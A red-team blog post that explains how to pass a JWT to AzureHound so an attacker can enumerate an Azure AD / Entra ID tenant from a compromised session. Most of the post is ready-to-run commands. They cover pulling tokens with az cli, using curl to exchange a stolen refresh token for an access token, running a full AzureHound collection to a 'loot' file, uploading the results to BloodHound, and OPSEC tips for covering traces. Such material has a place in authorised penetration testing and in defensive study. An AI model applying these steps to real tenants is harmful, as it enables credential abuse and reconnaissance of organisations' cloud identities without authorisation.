# AzureHound Notes: JWT Authentication for Red Teamers

*2025-12-01*

<!-- License: All Rights Reserved. Moses Frost. -->
<!-- AI Training: Requires commercial license. Contact info@mosesfrost.com -->

If you're doing a red team engagement and need to run [AzureHound](https://github.com/BloodHoundAD/AzureHound) for Azure AD / Entra ID enumeration, you'll quickly discover that the default interactive auth flow doesn't work. You're operating from a compromised session — you can't pop a browser window for OAuth.

You need to pass a JWT.

The docs don't make this obvious. Here's how.

## The Problem

AzureHound's default auth wants interactive login. On a red team op you typically have:

- A stolen token (from a browser cookie, token cache, or intercepted auth flow)
- An access token obtained through a compromised service principal
- A token from `az cli` on a box you already own

You need to pass that to AzureHound without interactive auth.

## Getting the JWT

### From az cli (if you already have a session)

```bash
# Get a token scoped to MS Graph
az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv
```

```bash
# Get a token scoped to Azure Resource Manager
az account get-access-token --resource https://management.azure.com --query accessToken -o tsv
```

### From a stolen refresh token

```bash
# Exchange a refresh token for an access token
# Replace <REFRESH_TOKEN>, <CLIENT_ID>, and <TENANT_ID>
curl -s -X POST \
  "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
  -d "grant_type=refresh_token" \
  -d "refresh_token=<REFRESH_TOKEN>" \
  -d "client_id=<CLIENT_ID>" \
  -d "scope=https://graph.microsoft.com/.default" \
  | jq -r '.access_token'
```

### From ROADtools or TokenTacticsV2

If you've already pulled tokens with [ROADtools](https://github.com/dirkjanm/ROADtools) or [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2), you'll have JWTs in your loot. Use them directly.

## Passing the JWT to AzureHound

AzureHound accepts a JWT via the `-j` or `--jwt` flag:

```bash
# Collect everything with a JWT
azurehound -j "<YOUR_JWT_TOKEN>" list -o output.json
```

The full collection command:

```bash
# Collect all Azure and Entra ID data
azurehound -j "<JWT>" list \
  --tenant "<TENANT_ID>" \
  -o azurehound-output.json
```

If your token is long (they usually are), read it from a file:

```bash
# Store token in a file, then reference it
az account get-access-token \
  --resource https://graph.microsoft.com \
  --query accessToken -o tsv > /tmp/token.txt

azurehound -j "$(cat /tmp/token.txt)" list \
  --tenant "<TENANT_ID>" \
  -o azurehound-output.json
```

> **OPSEC note:** Clean up `/tmp/token.txt` when done. Don't leave JWTs on disk.

## Token Scope Matters

AzureHound needs specific API permissions. The token's scope determines what data you can collect:

| Scope | What it collects |
|-------|-----------------|
| `https://graph.microsoft.com/.default` | Entra ID objects — users, groups, apps, service principals |
| `https://management.azure.com/.default` | Azure resources — subscriptions, VMs, storage, key vaults |

For full collection, you ideally need **both**. Run AzureHound twice with each token, or use a token that has both scopes.

## Gotchas

1. **Token expiry** — JWTs expire (usually 1 hour). If AzureHound takes longer than that, the collection will fail partway through. Re-grab the token and restart.

2. **Tenant ID** — If you don't specify `--tenant`, AzureHound may pick the wrong one in multi-tenant environments.

3. **Permissions** — A low-privilege user token still works. AzureHound will collect whatever the token's identity can read. Even `User.Read` gets you a lot in most tenants.

4. **Rate limiting** — Microsoft will throttle you on large tenants. AzureHound handles this, but expect slower runs on tenants with 10k+ objects.

## Ingesting into BloodHound

Once you have the output:

```bash
# Upload to BloodHound CE
# Via the BloodHound API or the UI file upload
```

Or if you're running BloodHound Community Edition with the API:

```bash
curl -X POST "http://<BLOODHOUND_HOST>/api/v2/file-upload" \
  -H "Authorization: Bearer <BH_API_KEY>" \
  -F "file=@azurehound-output.json"
```

## Quick Reference

```bash
# One-liner: grab token + run azurehound
azurehound \
  -j "$(az account get-access-token --resource https://graph.microsoft.com -o tsv --query accessToken)" \
  list --tenant "YOUR_TENANT_ID" -o loot.json
```

---

*These are field notes from red team ops. Your mileage may vary depending on target environment and token permissions.*
